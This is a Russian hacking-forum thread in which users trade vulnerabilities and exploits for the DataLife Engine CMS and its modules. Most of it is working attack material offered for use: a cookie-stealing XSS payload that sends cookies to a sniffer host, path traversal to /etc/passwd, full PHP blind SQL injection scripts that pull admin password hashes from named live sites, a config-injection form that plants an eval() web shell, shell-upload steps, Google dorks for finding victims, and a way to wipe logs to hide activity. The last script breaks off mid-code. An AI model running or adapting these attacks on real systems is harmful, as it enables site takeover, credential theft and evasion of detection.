Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   [ Обзор уязвимостей DataLife Engine ] (https://forum.antichat.xyz/showthread.php?t=52195)

Solide Snake 28.10.2007 02:11

[ Обзор уязвимостей DataLife Engine ]
 
Обзор уязвимостей [DataLife Engine]


Сайт производителя: www.dle-news.ru
Актуальная версия: 6.3

DataLife Engine v.3.7


[Раскрытие установочного пути]

В parse.class.php выделено 12582912 байт на проверку сообщения.
Переполнение делается так: "<<><><><><><>>"

[ХСС]

Угнать кукисы можно при помощи вставки картинки.
[img][/img] -- этим можно воспользваться всегда, даже если нету таких кнопок при
добавлении новости, личном сообщении, добавления коментария.
Непосредственно сама ХСС:

Код:

[IMG=left]http://anyimage.com/ok.gif" onmouseover='document.location=" class="fixed">http://your.sniffer.com/sniff/sniff.gif?id="+document.
cookie;'><!--[/IMG]

[Проблемы с SQL]

Код:

http://target.net/category/topic/ -- где topic -- это не существующая тема.
Результат: SELECT id FROM nws_category WHERE parentid=not detected ;


Версия 4.1 возможно более ранние SQL Injection.


Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример:

[CODE]http://[host]/index.php?subaction=userinfo&user=
DataLife Engine <= 4.1 Remote SQL Injection Exploit (perl)
DataLife Engine <= 4.1 Remote SQL Injection Exploit (php)
SQL injection for <=4.1 version exploit
RGdatalife - exploit (php version)

halkfild 13.01.2008 01:25

в виду наличия множества ресурсов в сети под этим движком решил поискать хоть какие-то уязвимости в нем..

пошел на офф сайт http://dle - news.ru/. SoftNews Media Group любезно предоставляет демо доступ для просмотра движка в роботе http://demo.dle - news.ru/ тут и начнем.

Так, как это все на их сервере и это демо версия, то почти весь функционал они обрезали оставив только чтение =\. смотрим...

баг в функциях оптимизации базы

http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption

пакеты браузера

Цитата:

cmd> GET /admin.php?mod=dboption&action=dboption HTTP/1.0
cmd> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
cmd> Referer: http://demo.dle-news.ru/admin.php?mod=dboption
cmd> User-Agent: 8.50 iia Nokia 6630 (in Spanish) — Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6630/4.03.38; 6937) Opera 8.50 [es]
cmd> Host: demo.dle-news.ru
cmd> Cookie: PHPSESSID=2962374dc7d3a4f7035f4f5d290c02e2; dle_skin=deleted; dle_hash=deleted; lastusername=demo; dle_name=demo; dle_password=fe01ce2a7fbac8fafaed7c982a04e229
cmd>
hdr> HTTP/1.1 200 OK
hdr> Server: nginx/0.5.34
hdr> Date: Thu, 10 Jan 2008 22:05:26 GMT
hdr> Content-Type: text/html; charset=windows-1251
hdr> Connection: close
hdr> X-Powered-By: PHP/5.2.3
hdr> Expires: Tue, 11 Jun 1985 05:00:00 GMT
hdr> Cache-Control: no-store, no-cache, must-revalidate
hdr> Pragma: no-cache
hdr> Last-Modified: Thu, 10 Jan 2008 22:05:48 GMT
hdr> Cache-Control: post-check=0, pre-check=0
hdr> Content-Length: 1337
hdr> Content-Language: ru
RequestDone Error = 0
StatusCode = 200
расскрытие при повторном посте
и ошибка при не корректном посте данных /*пишет не корректное название таблицы*/

Цитата:

Warning: reset(): Passed variable is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 28 Warning: Variable passed to each() is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 32 MySQL Error!
------------------------

The Error returned was:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Error Number:
1064
так же мона юзать xss

method=post auction=http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption
ta%5B%5D=dle_email,"><script>alert()</script>&whattodo=optimize
или
ta%5B%5D=dle_files"><script>alert(/xss/)</script>&whattodo=repair

вообщем имеем пост ксс и расскрытие пути

з.ы. сначала незаметил и создал новую тему ^^

Solide Snake 13.01.2008 01:31

DataLife engine...(версию уязвимую так и не выяснил... т.к. багу сам нашел, но точно знаю что до пятой... на 4.2 прокатывает)

Листилка (читалка) файлов там где не стоит мэйджик квотез:

Код:

http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
Да и еще примечательно это тем, что полюбому можно прочитать пароль к БД т.к. в этой двиге обязательно присутствует файло с настройками пользователя БД и соответственно при хорошем раскладе узнать пароли админа и через админку шелл залить (в большинстве случаев получается) но для этого в конфигурации в админке надо зделать кой какие изменения... ну я думаю это каждый сможет...

(c) Scipio

r00tk1d 03.02.2008 03:59

Раскрытие полного установочного пути (для авторизированых юзеров)
Код:

index.php?do=pm&doaction=newpm&user[]=
Результат
Код:

Warning: urldecode() expects parameter 1 to be string, array given in %путь_установки%/engine/init.php on line 49

l-l00K 02.03.2008 18:07

blind sql-inj в неофициальном модуле к Dle files (файловый архив)
уязвимость после order by в параметре orderby
Пример запроса:
Код:

http://www.alldown.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+0,1),1,1))+between+0+and+0,url,(select%201%20from%20dle_downloads))+--+
Эксплоит:
PHP код:

<?php
set_time_limit
(0);
/*-----------------------------------------------------*/ 
//Эксплойт для модуля Files(модуль файлового архива) к DLE
//Автор: H00K
/*-----------------------------------------------------*/ 

/*-----------------Настройки---------------------------*/ 
$host="symbiware.org";//указываем хост
$catid "38";//Указываем id существующей категории
$userid "0";//Указываем id администратора
/*-----------------------------------------------------*/ 

$good "MySQL Fatal Error";
$bad "Архив файлов";
$path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+{$userid},1),";
$end ",(select%201%20from%20dle_downloads),url)+--+";
$index 1;
$result "";

function 
GetMiddle($min$max)
{
 return 
floor($min+((($max+1)-($min-1))/2));
}

function 
Check($min,$max)
{
 if ((
$max-$min)<=2)
  {
  global 
$index;
  global 
$result;
  global 
$host;
  global 
$path;
  echo 
"Символ найден: ";
  if ((
$max-$min)==1)
  if (
CheckSQL($host$path$index.",1))={$max}")) 
   
$result .=chr($max); else $result .=chr($min);
  if ((
$max-$min)==2)
  {
  if (
CheckSQL($host$path$index.",1))={$max}"))
  {
    
$result .=chr($max);
  } else
  {
   if(
CheckSQL($host$path$index.",1))={$max}-1"))
    
$result .=chr($max-1); else $result .=chr($min);  
  }
  }
   echo 
substr($result,strlen($result)-1)."<br>";
   
flush();
   
$index++;
    return 
true;
  } else return 
false;
}

function 
CheckSQL ($host$path$st)
{   global 
$end;
    
$line="";
    
$fo fsockopen($host80$errno$errstr30);
    if(!
$fo){die ("no connect");}
    else 
    { 
       
$headers="GET ".$path.$st.$end." HTTP/1.1\r\n";
       
$headers.="Host: ".$host."\r\n";
       
$headers.="Connection: Close\r\n\r\n";    
       global 
$good;
       global 
$bad;
        
fwrite($fo$headers);
        while (!
feof($fo))
        {
            
$line fgets($fo512);
            if (
strpos($line,$good)) 
            {
             
fclose($fo);
             return 
true;
            }
            if (
strpos($line,$bad))
            {
             
fclose($fo);
             return 
false;
            }
        }
        
fclose($fo);
    }
    return 
false;
}
if (
CheckSQL($host$path$index.",1))+between+1+and+255")) 
 echo (
" Идет подбор символов...<br>"); else  die("Ошибка");
 
for (
$i=0;$i<32;$i++)
{
 
$min 31;
 
$max 123;
 
$ok true;
 while (
$ok == true)
 {
  
$num GetMiddle($min,$max);
  if (!
check($min,$max))
  {
  if (
CheckSQL($host$path$index.",1))+between+1+and+{$num}")) 
  {
 echo(
"Меньше $num <br>");
   
$max $num;
  } else
  {
  echo (
"Больше $num <br>"); 
   
$min $num;
  } 
  
flush();
 } else 
$ok false;
 } 
}
echo 
$result;
?>

© H00k

Qwazar 08.04.2008 00:16

Нашёл XSS в модуле DLE Forum 2.1

Код:

http://site/dle-forum.php?status_report=<script>alert(/XSS/)</script>
Работает если админ забыл удалить файл dle-forum.php после установки. (Установщик даже не предупреждает о том, что хорошо бы это сделать :) )

З.Ы.
Гуглом ищутся по запросу:

intitle:"Работает на DLE Forum"

Qwazar 08.04.2008 01:49

Ещё забавную багу нашёл в модуле DLE Forum 2.1
:)

Возможность отправки сообщений от имени произвольного пользователя (можно несуществующего):

Создайте страничку со следующим кодом:
Код:

<form method="POST" action="http://site/?do=forum&act=post&code=reply&code=01">
 Forum ID: <input type="text" name="forum_id" value="2"><br/>
 Topic ID: <input type="text" name="topic_id" value="1"><br/>
 Post ID: <input type="text" name="post_id" value="3"><br/><!-- Не допёр нафига это передавать, но кажется должно быть уникальным -->
 Text: <input type="textarea" name="post_text" value="This Is Sample Text..."><br/> 
 UserName: <input type="text" name="name" value="SuperAdmin"><br/><!-- Вписываем что хотим -->
 UserMail: <input type="text" name="mail" value="Billy@mail.xx"><!-- Вписываем что хотим -->
 <input type="submit">
</form>

Ну и по комментариям сориентируетесь. Если уже залогинены на форуме, не забудьте почистить куки, иначе значение имени пользователя возьмётся из них.

Qwazar 08.04.2008 17:36

Blind SQL Injection в в модуле DLE Forum 2.1:

На самом деле там две инъекции, в 2х запросах выполняющихся подряд, т.е. одна из ошибок бкдет отображаться в любом случае.

Для выполнения, нужно залогиниться.

Для начала нужно добавить иньекцию в БД

Примеры:
Код:

http://site/?do=forum&act=subscription&code=add&tid=-1 UNION SELECT 1,BENCHMARK(100000,md5(current_time)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 --
Код:

http://site/index.php?do=forum&act=subscription&code=add&tid=-1 OR tid=(SELECT 1 UNION SELECT 2) --
Затем, для её выполнения нужно обратиться по адресу:
Код:

http://site/index.php?do=forum&act=subscription
При написании неудачного запроса, его нужно удалить командой: (это важно!)

Код:

http://test2.ru/?do=forum&act=subscription&code=del&tid=[SQL]
Символ кавычки мне вставить в запрос не удалось, но можно обойтись и без него, если воспользоваться методами из: http://forum.antichat.ru/thread43966.html

З.Ы.
Сорри, что не добил скуль до конца, времени не хватает, но это возможно.

Qwazar 08.04.2008 21:38

SQL Injection в в модуле DLE mChat v. 2.0:

Нашёл в админке, и после ORDER BY, наверное бесполезная, но:

Код:

http://site/admin.php?mod=mchat&start_from=SQL
И вот ещё, ругнётся на следующий запрос (первый символ должен быть цифрой):

Код:

http://site/admin.php?mod=mchat&mchat_per_page=1SQL
Зачем может понадобиться, не знаю, ну разве только чтобы выяснить префикс к таблицам.

Qwazar 08.04.2008 22:07

Раскрытие пути в модуле DLE mChat v. 2.0:

Код:

http://site/admin.php?mod=mchat&action=mess_del
Код:

http://site/admin.php?mod=mchat&action=do_mess_del
Тоже админка :(

Qwazar 08.04.2008 23:17

Активная, но очень неудобная XSS в модуле DLE mChat v. 2.0:

При отправке сообщения, вида:

Код:

<a href="http://www.ya.ru">А исправь ка</a>
В админке теги отфильтрованы не будут, и вместо стандартной администраторской функции редактирования сообщения, админ перейдёт по ссылке. Если очень постараться, можно создать фейковую страницу с просьбой ввести пароль для редактирования, и хитрым образом заставить админа попробовать отредактировать сообщение. (Из области научной фантастики)

З.Ы.
<script>, document.cookie - фильтрует, "javascript:" превращает в javascript:<b></b> и иногда в неудачных местах ставит <br />. В общем окне просмотра чата, теги видны прекрасно.

Qwazar 12.04.2008 02:05

Раскрытие пути в DataLife Engine v.6.7:

Код:

http://site/engine/inc/init.php
http://site/engine/inc/preview.php
http://site/engine/data/dbconfig.php (работает не везде)
http://site/upgrade/error.php
http://site/upgrade/finish.php
http://site/upgrade/template.php

Раскрытие пути в модуле DLE Forum 2.1:

Код:

http://site/dle-forum.php
Раскрытие пути в модуле DLE mChat v. 2.0:

Код:

http://site/engine/ajax/mchat.refresh.php
Одна особенность! Не работает в IE, т.к. IE вместо отображения пытается принять файл, юзайте файрфокс или тулзы отображающие результат в текстовом виде.

Нашёл после того, как написал тулзу для поиска раскрытий пути и простейших SQL ошибок :)

З.Ы.
Если кому надо - обращайтесь (написал на Java).

Qwazar 12.04.2008 04:41

Вот ещё нашёл в модуле DLE Forum 2.1:



Уничтожить некоторые таблицы форума и узнать префикс к таблицам в БД, можно так:

Удалил т.к. то, что побочно уничтожается БД, заметил после публикации уязвимости, думаю неэтично такое выкладывать в паблик..

Уязвимость присутствует, если забыли удалить файл dle-forum.php. В дикой природе встречается ~ в 20-30% случаев.

Безопасно посмотреть префикс к таблицам БД можно так:
Код:

http://site/dle-forum.php?action=upgrade

Qwazar 12.04.2008 05:39

То же самое и в модуле DLE mChat v. 2.0, есть возможность удалить все записи в чате (в том числе логи чата), если забыли удалить папку /mcinstall/ после установки.

В принципе, для чата это не так деструктивно, а вот уничтожить следы деятельности поможет, так что выкладываю:

Код:

http://site/mcinstall/?action=doinstall

gibson 21.04.2008 00:34

DataLife Engine 6.7 vulnerability or higher
 
1. Бага заключается в следующем.
Смотрим сорс страницы пользователя
PHP код:

<script language="javascript" type="text/javascript">
<!--
var 
dle_root       '/';
var 
dle_skin       'wf_0_1';
var 
dle_wysiwyg    'no';
var 
menu_short     'Быстрое редактирование';
var 
menu_full      'Полное редактирование';
var 
menu_profile   'Просмотр профиля';
var 
menu_fcomments 'Найти все комментарии';
var 
menu_send      'Отправить сообщение';
var 
menu_uedit     'Админцентр';
var 
dle_req_field  'Заполните все необходимые поля';
var 
dle_del_agree  'Вы действительно хотите удалить этот комментарий?';
//-->
</script

Теперь смотрим сорсы страницы админа
PHP код:

<script language="javascript" type="text/javascript">
<!--
var 
dle_root       '/cms/dle/';
var 
dle_admin      'admin.php';
var 
dle_login_hash '1bc5a8a12d90e476dbf6d1bcd58b5860';
var 
dle_skin       '123';
var 
dle_wysiwyg    'no';
var 
menu_short     'Быстрое редактирование';
var 
menu_full      'Полное редактирование';
var 
menu_profile   'Просмотр профиля';
var 
menu_fnews     'Найти все публикации';
var 
menu_fcomments 'Найти все комментарии';
var 
menu_send      'Отправить сообщение';
var 
menu_uedit     'Админцентр';
var 
dle_req_field  'Заполните все необходимые поля';
var 
dle_del_agree  'Вы действительно хотите удалить? Данное действие невозможно будет отменить';
var 
dle_del_news   'Удалить новость';
var 
allow_dle_delete_news   true;
//-->
</script

Собственно это нам и нужно
Код HTML:

var dle_admin      = 'admin.php'; // скрипт адмиского входа.
var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860'; хеш пароля md5

Логин админа можно узнать из новостей публикуемых на сайте, но могут публиковать и привелигерованные пользователи, по другому хз.
Накатали скрипт, респект zarin за помощь, который подгружает страницу с серва и сохраняет ее на хосте. Нужно только одно условие чтобы оно сработало, это чтобы админ был залогинен на сайте.

PHP код:

<?php
if(isset($_POST["frame"])) {
    
$fh fopen("gibson.txt","w+");
    
fwrite($fh,$_POST["frame"]);
    
fclose($fh);
    
}
else{
?>
<html>
<head>
<script>
    function sendFrame(FrameID,FormID,TextareaID)
    {
        content = document.getElementById(FrameID).contentDocument.text;
        document.getElementById(TextareaID).value = content;
        document.getElementById(FormID).submit();
    }
</script>
</head>

<body>
<div style="display:block;">
    <form action="gibson.php" method="post" id="form0">
    <textarea name="frame" id="text0" style="display:none;" ></textarea>
    <input type="submit" name="ok" value="ok" style="display:none;" >
    </form>
</div>

<IFRAME src="http://xxx.xx/index.php" onload="sendFrame('frame0','form0','text0')" id="frame0" WIDTH="0" HEIGHT="0" >
</IFRAME>

</body>
</html>
<?}?>

ps Скрипт работает в опере с локальными адресами! В фф сек эрроры)

2. Ну и так для развлечения ксс
PHP код:

http://xxx.xx/engine/modules/imagepreview.php?image=javascript:alert(document.cookie); 

Нужно только чтобы рисунки были включены.

Isis 05.05.2008 08:11

DLE 6.3
Раскрытие пути:
Код:

index.php?catalog[]=

maxster 05.05.2008 19:50

DataLifeEngine Online Mod Exploit Blind SQL Injection
 
DLE Online Mod Exploit Blind SQL Injection

Нашел багу я, а эксплойт написал Евгений Минаев

Сохраняем эксплойт и закидываем его к себе на локалхост, от туда запускаем.
Выдерает хеши любого юзера, шифрация md5(md5($pass))
PHP код:

<?php
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
 
/**
* DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster
* Need magic_quotes_gpc off and mysql version higher than 4.0 (on server)

* Useful: email, password, name
*
* PHP versions 4 and 5
*
* LICENSE: This source file is subject to version 3.0 of the PHP license
* that is available through the world-wide-web at the following URI:
* http://www.php.net/license/3_0.txt.  If you did not receive a copy of
* the PHP License and are unable to obtain it through the web, please
* send a note to license@php.net so we can mail you a copy immediately.
*
* @category   Exploit
* @package    None
* @author     Eugene Minaev <underwater@itdefence.ru>
* @copyright  2008 ITDefence.ru
* @license    http://www.php.net/license/3_0.txt  PHP License 3.0
* @version    CVS: $Id:$
* @link       http://underwater.itdefence.ru
* @since      File available since Release 0x00
*/
    
@set_time_limit(0);
    @
ini_set('output_buffer'0);
    
?>
 
<html>
 
        <head>
                <title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title>
                <style type="text/css">
                        body{
                                font-family: Tahoma;
                                font-size: 12px;
                                color: #e1e1e1;
                                background-color: #222;
                        }
                </style>
        </head>
        
        <body>
                <center>
                <form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>">
                      dle path:<input type="text" name="server" value="http://localhost/dle/" />
                        <br/><br/>
                       admin id:  <input type="text" name="userid" value="1" />
                        <br/><br/>
                        <input type="submit" />
                </form>
                </center>
        </body>
 
</html>
 
<?php
if (!empty($_POST))
{
        
$_      create_function('$error''die("$error");');
        
$userid         = isset($_POST['userid']) ? (int) $_POST['userid'] : null;
        
$server  = isset($_POST['server']) ? $_POST['server'] : null;
        
$alphabet   = array('a''b''c''d''e''f''1''2''3''4''5''6''7''8''9''0');
        
$responce       null;
        
$password       null;
        
$curpos  1;
        
$alppos     0;
        
$flag       false;
        
        
        
$pathinfo parse_url($server);
        if (
false === is_array($pathinfo) or empty($pathinfo['host'])) {
                
$_('invalid url');
        } else {
                
$fsocket fsockopen($pathinfo['host'], 80) or 
                        
$_('hostname is dead');
                
$request "GET {$pathinfo['path']} HTTP/1.1\r\n"
                                 
"Host: {$pathinfo['host']}\r\n"
                                 
"Cookie: dle_onl_session='underWHAT?!\r\n\r\n";
                
fwrite($fsocket$request) or 
                        
$_ ('failed to write data to socket');
                while (
$flag === false){
                                        
$responce .= fread($fsocket128);
                                        
$flag strpos($responce'</html>') ? truefalse;
                }
        
$flag false;
                if (
strpos($responce'MySQL Error') > 0){
                        while (
strlen($password) < 32)
                        {
                                
$fsocket fsockopen($pathinfo['host'], 80) or 
                                        
$_('hostname is dead'); 
                                
$responce null;
                                
$cookie   "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(select 1 union select 3))/*";
                                
$request  "GET {$pathinfo['path']} HTTP/1.1\r\n"
                                                  
"Host: {$pathinfo['host']}\r\n"
                                                  
"Connection: close\r\n"
                                                  
"Cookie: dle_onl_session=$cookie\r\n\r\n";
                                
fwrite($fsocket$request) or 
                                        
$_ ('failed to write data to socket');
                                
$responce fread($fsocket8000);
                                if (!
strpos($responce'returns more than 1 row')){
                                        
$password .= $alphabet[$alppos];
                                        
$curpos += 1;
                                        
$alppos 0;
                                } else {
                                        
$alppos += 1;
                                }
                                
$flag     false;
                                
$responce null;
                                
fclose($fsocket);
                        }
                } else {
            die (
'<center><h1>not vulnerable</h1></center>');
        }
                echo 
"<center><h1>$password</h1></center>";                               
        }
}
 
   
?>

Google dork: "20ка посетивших:"

Elekt 21.05.2008 03:08

Datalife Engine 6.7 XSRF
 

Datalife Engine 6.7 XSRF
_http://securityvulns.ru/Tdocument552.html

Exploit:

http://site.com/datalife-path/engine/modules/imagepreview.php?image=[XSRF]

Подробно рассмотрено: _https://forum.antichat.ru/thread67881.html


desTiny 11.06.2008 23:31

Заливка шелла через админку Datalife Engine
Версию точно определить не смог, но в сорцах написано про 2008 год.

Итак, заходим в админцентр.
Далее нажимаем "Другие разделы"
Выбираем где-то в конце "Архив файлов"
Идём на "Настройка Архива Файлов"
Допустимые форматы файлов: дописываем php.
Сохраняемся, идём в "Добавить файл".
Заливаем шелл :)
Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке.

Нашёл сегодня сам, так как очень приспичело, а старые баги не подходили. Если уже где-то было, извините..
Потом, может, сниму видео...

Ar3s 23.06.2008 11:35

Цитата:

Сообщение от [=IZERLI=]
КАК ЗАЛИТЬ !!!
+ С меня в репу )

Попробуй через редактирование шаблона сайта.
Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
Вообщем как-то так. Экспериментируйте.

#Wolf# 24.06.2008 02:51

Цитата:

Сообщение от Ar3s
Попробуй через редактирование шаблона сайта.
Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
Вообщем как-то так. Экспериментируйте.

чтобы php код исполнялся в шаблонах (tpl)
надо:
В файле index.php, заменить
PHP код:

echo $tpl->result['main']; 

на
PHP код:

function incphp($str)
{
$a = explode('<?', $str);
echo $a[0];
for ($i=1; $i<sizeof($a); $i++)
{
$b = explode('
?>', $a[$i]);
eval($b[0]);
if (sizeof($b)>1) echo $b[1];
}
}
incphp($tpl->result['main']);

Теперь Вы можете в любом тексте между тегами <? ... ?> выполнять PHP код.
(с) dle-news.ru
так что облом
---------------------------------------------
загружать шелл через добавление новости тоже не получается.
1) не отображается полный путь файлы\а(шелла) т.к при загрузке скрипт сам дописывает цыфры перед файлом.
2) в папке uploads/files (куда складываются файлы) лежит .htaccess в котором:
PHP код:

<FilesMatch ".*">
   
Order allow,deny
   Deny from all
</FilesMatch>

<
FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$">
   
Order deny,allow
   Allow from all
</FilesMatch

DLE 7.0

sabe 01.08.2008 22:33

Datalife Engine XSRF пытались залатать...... :rolleyes:
Цитата:

http://dle-news.ru/bags/v70/301-nedostatochnaja-filtracija-vkhodjashhikh-dannykh.html
обойти:
вместо javascript пишем Javascript
вместо document.cookie пишем Document.cookie ;)

Lawrence 03.08.2008 19:13

Datalife ветки 6.x
 
Весьма интересные вещи творятся когда пользователь повторно заходит в систему под своим аккаунтом (имеется ввиду проходит аутентификацию по кукисам). Запрос браузера:
Код:

GET http://www.site.net/ HTTP/1.0
Cookie: dle_twsf_t=a%3A1%3A%7Bi%3A19%3Bi%3A1205043514%3B%7D; dle_onl_session=-062044f577ca1d58adabaf005e0bf5bf; dle_name=Kit; dle_password=1ad092fcfc34d69ebef9f3c745aea027; dle_newpm=0; PHPSESSID=062044f577ca1d58adabaf005e0bf5bf
Host: www.site.net

Параметр dle_onl_session уязвим, однако при попытки сформировать "злой" запрос мы натыкаемся на повторное использование этого же параметра в другом SQL запросе, результат: очередной MySQL error. Может у кого-то получится пойти дальше?

P.S. Т.к. MySQL error показывает неудачные запросы, есть возможность XSS атаки, однако чужие кукисы "угнать" не получится.

sabe 05.08.2008 03:55

Недостаточная фильтрация входящих данных

/engine/modules/functions.php

Подробно рассмотрено: http://4dle.ru/bugs/1147156035-nedos...iltracija.html

Qwazar 18.08.2008 19:57

Нашёл XSS в Datalife Engine v 6.7 (в остальных версиях не проверял, по инету потыкался, везде где доступна админка, вроде работает):

В файле: http://site/admin.php
Код:

Cookie: dle_lastusername='><script>alert(/XSS/)</script>

M4g 02.10.2008 00:30

Dle forum 2.1 (возможно, последующие версии, не проверял)
Эксплойт, получение логина, хеша, мыла админа:
Код:

<form action="http://evil.com/?do=forum&act=category" method="post">
 <input name="cid" value="-99' union select 1,2,3,4,5,6,7,8,9,concat(email,':',password,':',name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from dle_users where user_group=1 limit 1/*"/> 
<input type="submit" value="ok"/> 
</form>

Действие эксплойта основано на том, что встроенная функция dle check_xss() проверяет на нехорошие символы ' " < > лишь строку $QUERY_STRING, а пост, куки итд запросы остаются непроверенными. Подозреваю, что основной движок страдает тем же самым.
Dle <=6.7 (возможно, последующие версии, не проверял)
Эксплойт, дающий шелл (использовать залогиненным админом) :
Код:

<form action="http://evil.com/admin.php?mod=options&action=syscon" method="post">
<input name="save_con[test');@eval(trim(stripslashes($lala)));$config=array('test]" value="test"/>
 <input type=hidden name=action value=dosavesyscon>
<input type="submit" value="ok"/>
</form>

далее
Код HTML:

http://evil.com/adm.php?mod=options&action=syscon&lala=phpcode();
Действие эксплойта основано на том, что при записи конфига в соотв. пхп-файл, проверяется на нехорошие символы только значение параметра, а само имя параметра-нет+если в массиве конфига послать новый параметр, которого не было, то он успешно запишется в конфиг
ЗЫ хеш зашифрован md5(md5()). Такого вида хеши успешно расшифровываются большинством онлайн-сервисов
Я кончил.

sabe 25.11.2008 07:26

Недостаточная фильтрация входящих данных

/engine/classes/parse.class.php

Подробно рассмотрено: http://dle-news.ru/bags/v73/439-nedo...h-dannykh.html

l-l00K 30.11.2008 01:05

Blind slq-inj в модуле галерея для dle, в параметре news_sort
Уязв.код (news_sort) :
show_cat.php
PHP код:

if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != ""$galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];
if ( isset(
$_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != ""$galConfig['news_msort'] = $gal_cat[$category_id]['news_msort'];

if (
$galConfig['user_cats_limit']) $sear "(" PREFIX "_gal_cat.cat_status = '0' OR " PREFIX "_gal_cat.cat_status = '2') AND " PREFIX "_gal_pic.approve='1'"; else $sear "" PREFIX "_gal_cat.cat_status = '0' AND " PREFIX "_gal_pic.approve='1'";

$result $db->query("SELECT " PREFIX "_gal_pic.*, " PREFIX "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " PREFIX "_gal_pic LEFT JOIN " PREFIX "_gal_cat ON " PREFIX "_gal_pic.pic_cat_id=" PREFIX "_gal_cat.cat_id WHERE " PREFIX "_gal_cat.cat_alt_name='$category' AND $sear AND " PREFIX "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart$lim"); 

Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции

Пример запроса:
Код:

POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1
Host: www.simfilife.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC

Exploit:
PHP код:

<?php
 set_time_limit
(0);
 
/*-----------------------------------------------------*/ 
//Эксплойт для неофициального модуля Gallery для DLE
//Автор: l-l00K
//Black Toad Team
/*-----------------------------------------------------*/  

/*-----------------Настройки---------------------------*/  
 
$good "MySQL Fatal Error";
 
$bad "robots";
 
$host"simfilife.net";//указываем сайт
 
$path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию
 
$body "news_sort=if(ord(substring((select password from dle_users where user_id=1),";
 
$index 1;
 
$result "";
 
$end ",(select 1 from dle_usergroups),0)&news_msort=DESC";
 
 function 
GetMiddle($min$max)
 {
  return 
floor($min+((($max+1)-($min-1))/2));
 }
 
 function 
post_sql($host,$path,$post_body)
 {
 global 
$end;
 
$post_body  .= $end;
 
$post_query  "POST ".$path." HTTP/1.1\r\n";
 
$post_query .= "Host: ".$host."\r\n";
 
$post_query .= "Connection: close\r\n";
 
$post_query .= "Content-Type: application/x-www-form-urlencoded\r\n";
 
$post_query .= "Content-length: " strlen($post_body) . "\r\n\r\n";
 
$post_query .= $post_body;

 
$sock fsockopen($host80$errno$errstr30);
 
 if (!
$sock) die('Could not connect to host! ');

 
fputs($sock$post_query);
 global 
$good;
 global 
$bad;
 
$answer '';
 while (!
feof($sock)) {
    
$answer .= fgets($sock1024);
    if (
strpos($answer,$good)) 
    {
     
fclose($sock);
     return 
true;
    }
    if (
strpos($answer,$bad))
    {
      
fclose($sock);
      return 
false;
    }
 }
 
fclose($sock);
 return 
false;
}

function 
Check($min,$max)
{
 if ((
$max-$min)<=2)
  {
  global 
$index;
  global 
$result;
  global 
$host;
  global 
$path;
  global 
$body;
  echo 
"Символ найден: ";
  if ((
$max-$min)==1)
  if (
post_sql($host$path$body.$index.",1))={$max}")) 
   
$result .=chr($max); else $result .=chr($min);
  if ((
$max-$min)==2)
  {
  if (
post_sql($host$path$body.$index.",1))>{$max}-1"))
  {
    
$result .=chr($max);
  } else
  {
   if(
post_sql($host$path$body.$index.",1))={$max}-1"))
    
$result .=chr($max-1); else $result .=chr($min);  
  }
  }
   echo 
substr($result,strlen($result)-1)."<br>";
   
flush();
   
$index++;
    return 
true;
  } else return 
false;
}

$bool true;
while (
$bool==true)
{
 if (
post_sql($host$path$body.$index.",1))>0")) 
 {
  echo (
"Символ есть, идет подбор...<br>");
  
flush();
  
$ok true;
 }
 else 
 {
 echo (
"Символы кончились <br>");
  
$ok false;
  
$bool false;
  echo 
$result;
 }
 
$min 31;
 
$max 123;
 while (
$ok == true)
 {
  
